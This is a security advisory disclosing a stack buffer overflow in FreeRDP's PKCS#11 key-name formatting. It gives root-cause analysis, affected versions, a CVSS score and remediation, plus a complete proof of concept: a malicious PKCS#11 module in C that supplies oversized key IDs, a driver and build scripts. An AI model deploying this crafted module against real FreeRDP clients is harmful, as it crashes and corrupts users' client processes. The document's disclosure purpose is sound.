Stack-based Buffer Overflow and Out-of-bounds Write in FreeRDP

Executive Summary

On Unix builds with PKCS#11 support, Mallory can present a malicious or compromised token/module whose public key and matching certificate use a 55- to 64-byte CKA_ID. FreeRDP accepts that identifier and expands each byte to two hexadecimal characters in a fixed 128-byte stack buffer. On a 64-bit target, 54 bytes fit, while 55 bytes cause the terminating NUL from snprintf to cross the buffer boundary. This is a physical/local token-provider boundary; it is not a remote RDP-server attack, credential theft, or a demonstrated code-execution primitive.

I reviewed FreeRDP 3.0.0, 3.31.1, and current master, built and ran the real WinPR PKCS#11 enumeration path under AddressSanitizer, and used a disposable PKCS#11 module with a matched public key/certificate pair. The 54-byte control enumerated cleanly. The 55- and 64-byte cases produced a stack-buffer-overflow in production wprintKeyName(). The implementation first appears in the verified 3.0.0 release, remains present in 3.31.1 and master at 193fe551, and has no known fixed release. FreeRDP 2.11.7 does not contain this provider implementation.

Background

WinPR implements Microsoft's NCrypt smart-card provider over PKCS#11. When FreeRDP enumerates a token, the provider reads a public key's CKA_ID, finds a certificate with the same identifier, and creates a printable NCrypt key name containing the slot ID and key ID in hexadecimal.

The tested configuration was a 64-bit Unix build with WITH_PKCS11=ON and AddressSanitizer enabled. The disposable PKCS#11 2.40 module exposes one token, one RSA public key, and one matching X.509 certificate object. OASIS defines CKA_ID as a byte array and does not impose a general 54-byte limit. Particular devices may impose smaller limits, but FreeRDP's provider accepts identifiers up to its 64-byte internal array.

The expected behavior is straightforward: an identifier that fits FreeRDP's documented internal limit must either be represented safely or rejected before formatting. A provider-controlled attribute must not overwrite the client's stack.

Vulnerability Details

In winpr/libwinpr/ncrypt/ncrypt_pkcs11.c, collect_keys() stores the PKCS#11 attribute length and allows the 64-byte internal identifier. Current master contains this explicit guard:

key->idLen = key_or_certAttrs[0].ulValueLen;
if (key->idLen > sizeof(key->id))
{
	WLog_ERR(TAG, "error getting attributes, idLen %lu > %" PRIuz, key->idLen,
	         sizeof(key->id));
	continue;
}

After locating a certificate with the same CKA_ID, NCryptP11EnumKeys() calls wprintKeyName() with the accepted length. The destination NCryptKeyName allocation is dynamically sized, but the formatter first uses a fixed intermediate buffer:

static void wprintKeyName(LPWSTR str, CK_SLOT_ID slotId, CK_BYTE* id, CK_ULONG idLen)
{
	char asciiName[128] = WINPR_C_ARRAY_INIT;
	char* ptr = asciiName;

	*ptr = '\\';
	ptr++;

	const CK_BYTE* bytePtr = ((CK_BYTE*)&slotId);
	for (CK_ULONG i = 0; i < sizeof(slotId); i++, bytePtr++, ptr += 2)
		(void)snprintf(ptr, 3, "%.2x", *bytePtr);

	*ptr = '\\';
	ptr++;

	for (CK_ULONG i = 0; i < idLen; i++, id++, ptr += 2)
		(void)snprintf(ptr, 3, "%.2x", *id);

On LP64, the string needs 1 + 2*8 + 1 + 2*idLen + 1 bytes including the final NUL. A 54-byte ID needs 127 bytes. A 55-byte ID needs 129 bytes, so the final three-byte snprintf begins at offset 126 and writes its NUL at offset 128, one byte beyond asciiName. Longer accepted IDs continue writing hexadecimal digits and NUL terminators beyond the array.

The code entered with the public d4020e232 change that implemented the NCrypt provider. FreeRDP 3.0.0 contains the fixed 128-byte buffer and unbounded loop; 2.11.7 does not contain the file. Direct inspection confirms the same root in 3.31.1 and current master. No matching public issue, advisory, fix, or backport was found. Other published FreeRDP smart-card advisories concern different ATR, IRP, cache, or lifetime roots.

Exploitability Analysis

The demonstrated primitive is a stack out-of-bounds write in the FreeRDP client process during key enumeration. Mallory must control a PKCS#11 token or module visible to the user and provide a public key plus matching certificate with a 55- to 64-byte identifier. Enumeration is sufficient; signing, PIN entry, and an active RDP session are not needed to reach the formatter.

The negative control matters because it exercises the same module loading, slot enumeration, object search, attribute retrieval, certificate match, and NCrypt formatting path with only the identifier length changed. At 54 bytes, enumeration returns a 126-character key name and exits normally. At 55 and 64 bytes, AddressSanitizer reports WRITE of size 3 in wprintKeyName(), called by NCryptP11EnumKeys() and public NCryptEnumKeys().

The observed impact is client termination under AddressSanitizer and stack corruption without it. The overwritten bytes are constrained to lowercase hexadecimal characters and NUL terminators. No reliable control-flow hijack, confidentiality loss, integrity impact, privilege escalation, or remote trigger was demonstrated. A conservative CVSS 3.1 assessment is CVSS:3.1/AV:P/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H (4.2, Medium).

Proof of Concept

The PoC is intentionally limited to a disposable process. It does not contact an RDP server, write token state, or access a physical smart card. The positive cases crash the enumeration process under AddressSanitizer.

Build FreeRDP with PKCS#11 and sanitizers, then run the packaged boundary test:

cmake -S ../FreeRDP -B ../FreeRDP/build-pkcs11-asan \
  -DCMAKE_BUILD_TYPE=Debug -DWITH_PKCS11=ON \
  -DCMAKE_C_FLAGS='-O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer' \
  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'
cmake --build ../FreeRDP/build-pkcs11-asan -j2
cd poc
./run.sh ../../FreeRDP ../../FreeRDP/build-pkcs11-asan

The verified run printed:

54-byte control: rc=0
55-byte positive: rc=134
64-byte positive: rc=134
PASS: control enumerated cleanly; both boundary positives reached the production overflow.

The runner also requires both positive logs to contain AddressSanitizer: stack-buffer-overflow and wprintKeyName, preventing an unrelated nonzero exit from being accepted.

poc/minimal_token.c

<!-- BEGIN FILE: poc/minimal_token.c -->

#include <stdlib.h>
#include <string.h>

#include "pkcs11-headers/pkcs11.h"

static CK_OBJECT_CLASS find_class = CKO_PUBLIC_KEY;
static CK_BBOOL find_returned = CK_FALSE;

static CK_ULONG token_id_len(void)
{
	const char* value = getenv("P11_ID_LEN");
	const unsigned long parsed = value ? strtoul(value, NULL, 10) : 55;
	return (parsed <= 64) ? (CK_ULONG)parsed : 64;
}

static CK_RV token_initialize(void* args)
{
	(void)args;
	return CKR_OK;
}

static CK_RV token_finalize(void* reserved)
{
	(void)reserved;
	return CKR_OK;
}

static CK_RV token_get_slot_list(CK_BBOOL token_present, CK_SLOT_ID* slots, CK_ULONG* count)
{
	(void)token_present;
	if (!count)
		return CKR_ARGUMENTS_BAD;
	if (!slots)
	{
		*count = 1;
		return CKR_OK;
	}
	if (*count < 1)
	{
		*count = 1;
		return CKR_BUFFER_TOO_SMALL;
	}
	slots[0] = 1;
	*count = 1;
	return CKR_OK;
}

static CK_RV token_get_slot_info(CK_SLOT_ID slot, CK_SLOT_INFO* info)
{
	if ((slot != 1) || !info)
		return CKR_SLOT_ID_INVALID;
	memset(info, ' ', sizeof(*info));
	memcpy(info->slotDescription, "Opensec test token", 18);
	memcpy(info->manufacturerID, "Opensec", 7);
	info->flags = CKF_TOKEN_PRESENT;
	info->hardwareVersion.major = 1;
	info->firmwareVersion.major = 1;
	return CKR_OK;
}

static CK_RV token_get_token_info(CK_SLOT_ID slot, CK_TOKEN_INFO* info)
{
	if ((slot != 1) || !info)
		return CKR_SLOT_ID_INVALID;
	memset(info, ' ', sizeof(*info));
	memcpy(info->label, "Boundary ID token", 17);
	memcpy(info->manufacturerID, "Opensec", 7);
	memcpy(info->model, "TEST", 4);
	memcpy(info->serialNumber, "0000000000000001", 16);
	info->flags = CKF_TOKEN_INITIALIZED;
	info->hardwareVersion.major = 1;
	info->firmwareVersion.major = 1;
	return CKR_OK;
}

static CK_RV token_open_session(CK_SLOT_ID slot, CK_FLAGS flags, void* app,
                                CK_NOTIFY notify, CK_SESSION_HANDLE* session)
{
	(void)flags;
	(void)app;
	(void)notify;
	if ((slot != 1) || !session)
		return CKR_SLOT_ID_INVALID;
	*session = 1;
	return CKR_OK;
}

static CK_RV token_close_session(CK_SESSION_HANDLE session)
{
	return session == 1 ? CKR_OK : CKR_SESSION_HANDLE_INVALID;
}

static CK_RV token_find_init(CK_SESSION_HANDLE session, CK_ATTRIBUTE* attrs, CK_ULONG count)
{
	if (session != 1)
		return CKR_SESSION_HANDLE_INVALID;
	find_class = CKO_PUBLIC_KEY;
	find_returned = CK_FALSE;
	for (CK_ULONG i = 0; i < count; i++)
	{
		if ((attrs[i].type == CKA_CLASS) && attrs[i].pValue &&
		    (attrs[i].ulValueLen == sizeof(CK_OBJECT_CLASS)))
			memcpy(&find_class, attrs[i].pValue, sizeof(find_class));
	}
	return CKR_OK;
}

static CK_RV token_find(CK_SESSION_HANDLE session, CK_OBJECT_HANDLE* objects,
                        CK_ULONG max_objects, CK_ULONG* count)
{
	if ((session != 1) || !objects || !count)
		return CKR_ARGUMENTS_BAD;
	if (find_returned || (max_objects == 0))
	{
		*count = 0;
		return CKR_OK;
	}
	objects[0] = (find_class == CKO_CERTIFICATE) ? 2 : 1;
	*count = 1;
	find_returned = CK_TRUE;
	return CKR_OK;
}

static CK_RV token_find_final(CK_SESSION_HANDLE session)
{
	return session == 1 ? CKR_OK : CKR_SESSION_HANDLE_INVALID;
}

static CK_RV copy_attribute(CK_ATTRIBUTE* attr, const void* value, CK_ULONG length)
{
	if (!attr->pValue)
	{
		attr->ulValueLen = length;
		return CKR_OK;
	}
	if (attr->ulValueLen < length)
	{
		attr->ulValueLen = length;
		return CKR_BUFFER_TOO_SMALL;
	}
	memcpy(attr->pValue, value, length);
	attr->ulValueLen = length;
	return CKR_OK;
}

static CK_RV token_get_attribute(CK_SESSION_HANDLE session, CK_OBJECT_HANDLE object,
                                 CK_ATTRIBUTE* attrs, CK_ULONG count)
{
	static const CK_OBJECT_CLASS public_class = CKO_PUBLIC_KEY;
	static const CK_KEY_TYPE rsa_type = CKK_RSA;
	static const char label[] = "boundary-key";
	CK_BYTE id[64];
	CK_RV result = CKR_OK;
	if ((session != 1) || (object != 1) || !attrs)
		return CKR_OBJECT_HANDLE_INVALID;
	for (size_t i = 0; i < sizeof(id); i++)
		id[i] = (CK_BYTE)(0x40u + (i & 0x1fu));

	for (CK_ULONG i = 0; i < count; i++)
	{
		CK_RV rv = CKR_ATTRIBUTE_TYPE_INVALID;
		switch (attrs[i].type)
		{
			case CKA_ID:
				rv = copy_attribute(&attrs[i], id, token_id_len());
				break;
			case CKA_CLASS:
				rv = copy_attribute(&attrs[i], &public_class, sizeof(public_class));
				break;
			case CKA_LABEL:
				rv = copy_attribute(&attrs[i], label, sizeof(label) - 1);
				break;
			case CKA_KEY_TYPE:
				rv = copy_attribute(&attrs[i], &rsa_type, sizeof(rsa_type));
				break;
			default:
				attrs[i].ulValueLen = CK_UNAVAILABLE_INFORMATION;
				break;
		}
		if (rv != CKR_OK)
			result = rv;
	}
	return result;
}

static CK_FUNCTION_LIST functions = {
	.version = { 2, 40 },
	.C_Initialize = token_initialize,
	.C_Finalize = token_finalize,
	.C_GetSlotList = token_get_slot_list,
	.C_GetSlotInfo = token_get_slot_info,
	.C_GetTokenInfo = token_get_token_info,
	.C_OpenSession = token_open_session,
	.C_CloseSession = token_close_session,
	.C_GetAttributeValue = token_get_attribute,
	.C_FindObjectsInit = token_find_init,
	.C_FindObjects = token_find,
	.C_FindObjectsFinal = token_find_final,
};

CK_RV C_GetFunctionList(CK_FUNCTION_LIST** list)
{
	if (!list)
		return CKR_ARGUMENTS_BAD;
	functions.C_GetFunctionList = C_GetFunctionList;
	*list = &functions;
	return CKR_OK;
}

<!-- END FILE: poc/minimal_token.c -->

poc/enumerate.c

<!-- BEGIN FILE: poc/enumerate.c -->

#include <stdio.h>

#include <winpr/crt.h>
#include <winpr/error.h>
#include <winpr/ncrypt.h>
#include <winpr/string.h>

int main(int argc, char** argv)
{
	if (argc != 2)
		return 2;
	LPCSTR modules[] = { argv[1], NULL };
	NCRYPT_PROV_HANDLE provider = 0;
	PVOID state = NULL;
	NCryptKeyName* key = NULL;
	SECURITY_STATUS status = winpr_NCryptOpenStorageProviderEx(
	    &provider, MS_SMART_CARD_KEY_STORAGE_PROVIDER, 0, modules);
	if (status != ERROR_SUCCESS)
	{
		fprintf(stderr, "open status=0x%08lx\n", (unsigned long)status);
		return 3;
	}

	status = NCryptEnumKeys(provider, NULL, &key, &state, NCRYPT_SILENT_FLAG);
	if (status == ERROR_SUCCESS)
	{
		char name[512] = { 0 };
		if (ConvertWCharToUtf8(key->pszName, name, sizeof(name)) < 0)
			return 4;
		fprintf(stderr, "enumerated name-length=%zu name=%s\n", strlen(name), name);
		NCryptFreeBuffer(key);
	}
	else
		fprintf(stderr, "enum status=0x%08lx\n", (unsigned long)status);

	NCryptFreeBuffer(state);
	NCryptFreeObject((NCRYPT_HANDLE)provider);
	return status == ERROR_SUCCESS ? 0 : 5;
}

<!-- END FILE: poc/enumerate.c -->

poc/Makefile

<!-- BEGIN FILE: poc/Makefile -->

CC ?= cc
FREERDP_SOURCE ?=
FREERDP_BUILD ?=
SANITIZE_FLAGS ?= -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer

ifeq ($(strip $(FREERDP_SOURCE)),)
$(error Set FREERDP_SOURCE to the FreeRDP source directory)
endif
ifeq ($(strip $(FREERDP_BUILD)),)
$(error Set FREERDP_BUILD to its sanitizer-enabled build directory)
endif

WINPR_LIBDIR := $(FREERDP_BUILD)/winpr/libwinpr
INCLUDES := -I$(FREERDP_SOURCE)/winpr/include -I$(FREERDP_BUILD)/winpr/include

.PHONY: all clean
all: minimal_token.so enumerate

minimal_token.so: minimal_token.c
	$(CC) -O2 -g -fPIC -shared -I$(FREERDP_SOURCE)/winpr/libwinpr/ncrypt $< -o $@

enumerate: enumerate.c
	$(CC) $(SANITIZE_FLAGS) $(INCLUDES) $< -o $@ -L$(WINPR_LIBDIR) -lwinpr3

clean:
	rm -f minimal_token.so enumerate control.stdout control.stderr positive-55.stdout positive-55.stderr positive-64.stdout positive-64.stderr

<!-- END FILE: poc/Makefile -->

poc/run.sh

<!-- BEGIN FILE: poc/run.sh -->

#!/bin/sh
set -eu

if [ "$#" -ne 2 ]; then
	echo "usage: $0 FREE_RDP_SOURCE FREE_RDP_ASAN_BUILD" >&2
	exit 2
fi

source_dir=$1
build_dir=$2
script_dir=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
cd "$script_dir"

make clean all FREERDP_SOURCE="$source_dir" FREERDP_BUILD="$build_dir"
libdir=$build_dir/winpr/libwinpr
module=$script_dir/minimal_token.so
driver=$script_dir/enumerate
asan_options=detect_leaks=0:halt_on_error=1:abort_on_error=1

set +e
P11_ID_LEN=54 LD_LIBRARY_PATH="$libdir${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" \
	ASAN_OPTIONS="$asan_options" "$driver" "$module" >control.stdout 2>control.stderr
control_rc=$?
P11_ID_LEN=55 LD_LIBRARY_PATH="$libdir${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" \
	ASAN_OPTIONS="$asan_options" "$driver" "$module" >positive-55.stdout 2>positive-55.stderr
positive_55_rc=$?
P11_ID_LEN=64 LD_LIBRARY_PATH="$libdir${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" \
	ASAN_OPTIONS="$asan_options" "$driver" "$module" >positive-64.stdout 2>positive-64.stderr
positive_64_rc=$?
set -e

printf '54-byte control: rc=%s\n' "$control_rc"
printf '55-byte positive: rc=%s\n' "$positive_55_rc"
printf '64-byte positive: rc=%s\n' "$positive_64_rc"

test "$control_rc" -eq 0
grep -q 'enumerated name-length=126' control.stderr
test "$positive_55_rc" -ne 0
test "$positive_64_rc" -ne 0
grep -q 'AddressSanitizer: stack-buffer-overflow' positive-55.stderr
grep -q 'wprintKeyName' positive-55.stderr
grep -q 'AddressSanitizer: stack-buffer-overflow' positive-64.stderr
grep -q 'wprintKeyName' positive-64.stderr

echo 'PASS: control enumerated cleanly; both boundary positives reached the production overflow.'

<!-- END FILE: poc/run.sh -->

Remediation

Remove the fixed 128-byte intermediate or size it from the maximum accepted identifier. On LP64, the current 64-byte maximum requires 147 bytes including separators and the NUL. Each formatting operation should track remaining capacity and fail rather than advancing ptr after truncation.

The existing dynamic NCryptKeyName allocation already calculates the encoded identifier length, so the cleanest fix is to format directly into a correctly sized temporary/destination with checked operations. If the fixed buffer is retained, use the same checked size calculation as the destination allocation and pass the true remaining capacity to every write.

Add regression coverage through the public NCrypt enumeration API with matched key/certificate objects at 54, 55, and 64 bytes on LP64. The 54-byte case must remain valid; the two longer cases must enumerate safely or be rejected before formatting. Include a 32-bit build because sizeof(CK_SLOT_ID) changes the boundary.

Summary

FreeRDP 3.0.0 through the verified 3.31.1 release, as well as current unpatched master, format provider-controlled PKCS#11 key IDs into an undersized stack buffer. A real provider enumeration cleanly handles 54 bytes and triggers production stack corruption at 55 and 64 bytes. The demonstrated security consequence is availability loss in the enumerating client under the stated local/physical token prerequisite; stronger confidentiality, integrity, or execution claims are not supported.

Credit: Opensec Intelligence.